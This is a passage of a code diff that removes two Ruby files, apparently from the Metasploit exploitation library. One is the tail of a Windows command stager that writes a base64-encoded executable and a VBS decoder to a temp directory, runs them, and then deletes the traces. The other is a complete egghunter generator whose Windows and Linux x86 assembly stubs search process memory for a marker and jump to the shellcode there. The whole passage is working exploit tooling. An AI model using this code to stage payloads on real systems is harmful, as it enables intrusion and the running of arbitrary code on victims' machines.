49
|
-
super
|
50
|
-
end
|
51
|
-
|
52
|
-
|
53
|
-
#
|
54
|
-
# Simple base64...
|
55
|
-
#
|
56
|
-
def encode_payload(opts)
|
57
|
-
Rex::Text.encode_base64(@exe)
|
58
|
-
end
|
59
|
-
|
60
|
-
|
61
|
-
#
|
62
|
-
# Combine the parts of the encoded file with the stuff that goes
|
63
|
-
# before / after it.
|
64
|
-
#
|
65
|
-
def parts_to_commands(parts, opts)
|
66
|
-
|
67
|
-
cmds = []
|
68
|
-
parts.each do |p|
|
69
|
-
cmd = ''
|
70
|
-
cmd << @cmd_start
|
71
|
-
cmd << p
|
72
|
-
cmd << @cmd_end
|
73
|
-
cmds << cmd
|
74
|
-
end
|
75
|
-
|
76
|
-
cmds
|
77
|
-
end
|
78
|
-
|
79
|
-
|
80
|
-
#
|
81
|
-
# Generate the commands that will decode the file we just created
|
82
|
-
#
|
83
|
-
def generate_cmds_decoder(opts)
|
84
|
-
|
85
|
-
# Allow decoder stub override (needs to input base64 and output bin)
|
86
|
-
@decoder = opts[:decoder] if (opts[:decoder])
|
87
|
-
|
88
|
-
# Read the decoder data file
|
89
|
-
f = File.new(@decoder, "rb")
|
90
|
-
decoder = f.read(f.stat.size)
|
91
|
-
f.close
|
92
|
-
|
93
|
-
# Replace variables
|
94
|
-
decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs")
|
95
|
-
decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64")
|
96
|
-
decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe")
|
97
|
-
|
98
|
-
# Split it apart by the lines
|
99
|
-
decoder.split("\n")
|
100
|
-
end
|
101
|
-
|
102
|
-
|
103
|
-
#
|
104
|
-
# We override compress commands just to stick in a few extra commands
|
105
|
-
# last second..
|
106
|
-
#
|
107
|
-
def compress_commands(cmds, opts)
|
108
|
-
# Make it all happen
|
109
|
-
cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs"
|
110
|
-
|
111
|
-
# Clean up after unless requested not to..
|
112
|
-
if (not opts[:nodelete])
|
113
|
-
cmds << "del #{@tempdir}#{@var_decoder}.vbs"
|
114
|
-
cmds << "del #{@tempdir}#{@var_encoded}.b64"
|
115
|
-
# NOTE: We won't be able to delete the exe while it's in use.
|
116
|
-
end
|
117
|
-
|
118
|
-
super
|
119
|
-
end
|
120
|
-
|
121
|
-
# Windows uses & to concat strings
|
122
|
-
def cmd_concat_operator
|
123
|
-
" & "
|
124
|
-
end
|
125
|
-
|
126
|
-
end
|
127
|
-
end
|
128
|
-
end
|
@@ -1,277 +0,0 @@
|
|
1
|
-
require 'rex/text'
|
2
|
-
require 'rex/arch'
|
3
|
-
|
4
|
-
module Rex
|
5
|
-
module Exploitation
|
6
|
-
|
7
|
-
###
|
8
|
-
#
|
9
|
-
# This class provides an interface to generating egghunters. Egghunters are
|
10
|
-
# used to search process address space for a known byte sequence. This is
|
11
|
-
# useful in situations where there is limited room for a payload when an
|
12
|
-
# overflow occurs, but it's possible to stick a larger payload somewhere else
|
13
|
-
# in memory that may not be directly predictable.
|
14
|
-
#
|
15
|
-
# Original implementation by skape
|
16
|
-
# (See http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf)
|
17
|
-
#
|
18
|
-
# Checksum checking implemented by dijital1/corelanc0d3r
|
19
|
-
# Checksum code merged to Egghunter by jduck
|
20
|
-
# Conversion to use Metasm by jduck
|
21
|
-
# Startreg code added by corelanc0d3r
|
22
|
-
#
|
23
|
-
###
|
24
|
-
class Egghunter
|
25
|
-
|
26
|
-
###
|
27
|
-
#
|
28
|
-
# Windows-based egghunters
|
29
|
-
#
|
30
|
-
###
|
31
|
-
module Windows
|
32
|
-
Alias = "win"
|
33
|
-
|
34
|
-
module X86
|
35
|
-
Alias = ARCH_X86
|
36
|
-
|
37
|
-
#
|
38
|
-
# The egg hunter stub for win/x86.
|
39
|
-
#
|
40
|
-
def hunter_stub(payload, badchars = '', opts = {})
|
41
|
-
|
42
|
-
startreg = opts[:startreg]
|
43
|
-
|
44
|
-
raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
|
45
|
-
marker = "0x%x" % opts[:eggtag].unpack('V').first
|
46
|
-
|
47
|
-
checksum = checksum_stub(payload, badchars, opts)
|
48
|
-
|
49
|
-
startstub = ''
|
50
|
-
if startreg
|
51
|
-
if startreg.downcase != 'edx'
|
52
|
-
startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr"
|
53
|
-
else
|
54
|
-
startstub = "\n\tjmp next_addr"
|
55
|
-
end
|
56
|
-
end
|
57
|
-
startstub << "\n\t" if startstub.length > 0
|
58
|
-
|
59
|
-
assembly = <<EOS
|
60
|
-
#{startstub}
|
61
|
-
check_readable:
|
62
|
-
or dx,0xfff
|
63
|
-
next_addr:
|
64
|
-
inc edx
|
65
|
-
push edx
|
66
|
-
push 0x02 ; use NtAccessCheckAndAuditAlarm syscall
|
67
|
-
pop eax
|
68
|
-
int 0x2e
|
69
|
-
cmp al,5
|
70
|
-
pop edx
|
71
|
-
je check_readable
|
72
|
-
check_for_tag:
|
73
|
-
; check that the tag matches once
|
74
|
-
mov eax,#{marker}
|
75
|
-
mov edi,edx
|
76
|
-
scasd
|
77
|
-
jne next_addr
|
78
|
-
; it must match a second time too
|
79
|
-
scasd
|
80
|
-
jne next_addr
|
81
|
-
|
82
|
-
; check the checksum if the feature is enabled
|
83
|
-
#{checksum}
|
84
|
-
|
85
|
-
; jump to the payload
|
86
|
-
jmp edi
|
87
|
-
EOS
|
88
|
-
|
89
|
-
assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
|
90
|
-
|
91
|
-
# return the stub
|
92
|
-
assembled_code
|
93
|
-
end
|
94
|
-
|
95
|
-
end
|
96
|
-
end
|
97
|
-
|
98
|
-
###
|
99
|
-
#
|
100
|
-
# Linux-based egghunters
|
101
|
-
#
|
102
|
-
###
|
103
|
-
module Linux
|
104
|
-
Alias = "linux"
|
105
|
-
|
106
|
-
module X86
|
107
|
-
Alias = ARCH_X86
|
108
|
-
|
109
|
-
#
|
110
|
-
# The egg hunter stub for linux/x86.
|
111
|
-
#
|
112
|
-
def hunter_stub(payload, badchars = '', opts = {})
|
113
|
-
|
114
|
-
startreg = opts[:startreg]
|
115
|
-
|
116
|
-
raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
|
117
|
-
marker = "0x%x" % opts[:eggtag].unpack('V').first
|
118
|
-
|
119
|
-
checksum = checksum_stub(payload, badchars, opts)
|
120
|
-
|
121
|
-
startstub = ''
|
122
|
-
if startreg
|
123
|
-
if startreg.downcase != 'ecx'
|
124
|
-
startstub = "\n\tmov ecx,#{startreg}\n\tjmp next_addr"
|
125
|
-
else
|
126
|
-
startstub = "\n\tjmp next_addr"
|
127
|
-
end
|
128
|
-
end
|
129
|
-
startstub << "\n\t" if startstub.length > 0
|
130
|
-
|
131
|
-
assembly = <<EOS
|
132
|
-
cld
|
133
|
-
#{startstub}
|
134
|
-
check_readable:
|
135
|
-
or cx,0xfff
|
136
|
-
next_addr:
|
137
|
-
inc ecx
|
138
|
-
push 0x43 ; use 'sigaction' syscall
|
139
|
-
pop eax
|
140
|
-
int 0x80
|
141
|
-
cmp al,0xf2
|
142
|
-
je check_readable
|
143
|
-
|
144
|
-
check_for_tag:
|
145
|
-
; check that the tag matches once
|
146
|
-
mov eax,#{marker}
|
147
|
-
mov edi,ecx
|
148
|
-
scasd
|
149
|
-
jne next_addr
|
150
|
-
; it must match a second time too
|
151
|
-
scasd
|
152
|
-
jne next_addr
|
153
|
-
|
154
|
-
; check the checksum if the feature is enabled
|
155
|
-
#{checksum}
|
156
|
-
|
157
|
-
; jump to the payload
|
158
|
-
jmp edi
|
159
|
-
EOS
|
160
|
-
|
161
|
-
assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string
|
162
|
-
|
163
|
-
# return the stub
|
164
|
-
assembled_code
|
165
|
-
end
|
166
|
-
|
167
|
-
end
|
168
|
-
end
|
169
|
-
|
170
|
-
###
|
171
|
-
#
|
172
|
-
# Generic interface
|
173
|
-
#
|
174
|
-
###
|
175
|
-
|
176
|
-
#
|
177
|
-
# Creates a new egghunter instance and acquires the sub-class that should
|
178
|
-
# be used for generating the stub based on the supplied platform and
|
179
|
-
# architecture.
|
180
|
-
#
|
181
|
-
def initialize(platform, arch = nil)
|
182
|
-
Egghunter.constants.each { |c|
|
183
|
-
mod = self.class.const_get(c)
|
184
|
-
|
185
|
-
next if ((!mod.kind_of?(::Module)) or
|
186
|
-
(!mod.const_defined?('Alias')))
|
187
|
-
|
188
|
-
if (platform =~ /#{mod.const_get('Alias')}/i)
|
189
|
-
self.extend(mod)
|
190
|
-
|
191
|
-
if (arch and mod)
|
192
|
-
mod.constants.each { |a|
|
193
|
-
amod = mod.const_get(a)
|
194
|
-
|
195
|
-
next if ((!amod.kind_of?(::Module)) or
|
196
|
-
(!amod.const_defined?('Alias')))
|
197
|
-
|
198
|
-
if (arch =~ /#{mod.const_get(a).const_get('Alias')}/i)
|
199
|
-
amod = mod.const_get(a)
|
200
|
-
|
201
|
-
self.extend(amod)
|
202
|
-
end
|
203
|
-
}
|
204
|
-
end
|
205
|
-
end
|
206
|
-
}
|
207
|
-
end
|
208
|
-
|
209
|
-
#
|
210
|
-
# This method generates an egghunter using the derived hunter stub.
|
211
|
-
#
|
212
|
-
def generate(payload, badchars = '', opts = {})
|
213
|
-
# set defaults if options are missing
|
214
|
-
|
215
|
-
# NOTE: there is no guarantee this won't exist in memory, even when doubled.
|
216
|
-
# To address this, use the checksum feature :)
|
217
|
-
opts[:eggtag] ||= Rex::Text.rand_text(4, badchars)
|
218
|
-
|
219
|
-
# Generate the hunter_stub portion
|
220
|
-
return nil if ((hunter = hunter_stub(payload, badchars, opts)) == nil)
|
221
|
-
|
222
|
-
# Generate the marker bits to be prefixed to the real payload
|
223
|
-
egg = ''
|
224
|
-
egg << opts[:eggtag] * 2
|
225
|
-
egg << payload
|
226
|
-
if opts[:checksum]
|
227
|
-
cksum = 0
|
228
|
-
payload.each_byte { |b|
|
229
|
-
cksum += b
|
230
|
-
}
|
231
|
-
egg << [cksum & 0xff].pack('C')
|
232
|
-
end
|
233
|
-
|
234
|
-
return [ hunter, egg ]
|
235
|
-
end
|
236
|
-
|
237
|
-
protected
|
238
|
-
|
239
|
-
#
|
240
|
-
# Stub method that is meant to be overridden. It returns the raw stub that
|
241
|
-
# should be used as the egghunter.
|
242
|
-
#
|
243
|
-
def hunter_stub(payload, badchars = '', opts = {})
|
244
|
-
end
|
245
|
-
|
246
|
-
def checksum_stub(payload, badchars = '', opts = {})
|
247
|
-
return '' if not opts[:checksum]
|
248
|
-
|
249
|
-
if payload.length < 0x100
|
250
|
-
cmp_reg = "cl"
|
251
|
-
elsif payload.length < 0x10000
|
252
|
-
cmp_reg = "cx"
|
253
|
-
else
|
254
|
-
raise RuntimeError, "Payload too big!"
|
255
|
-
end
|
256
|
-
egg_size = "0x%x" % payload.length
|
257
|
-
|
258
|
-
checksum = <<EOS
|
259
|
-
push ecx
|
260
|
-
xor ecx,ecx
|
261
|
-
xor eax,eax
|
262
|
-
calc_chksum_loop:
|
263
|
-
add al,byte [edi+ecx]
|
264
|
-
inc ecx
|
265
|
-
cmp #{cmp_reg},#{egg_size}
|
266
|
-
jnz calc_chksum_loop
|
267
|
-
test_chksum:
|
268
|
-
cmp al,byte [edi+ecx]
|
269
|
-
pop ecx
|
270
|
-
jnz next_addr
|
271
|
-
EOS
|
272
|
-
end
|
273
|
-
|
274
|
-
end
|
275
|
-
|
276
|
-
end
|
277
|
-
end
|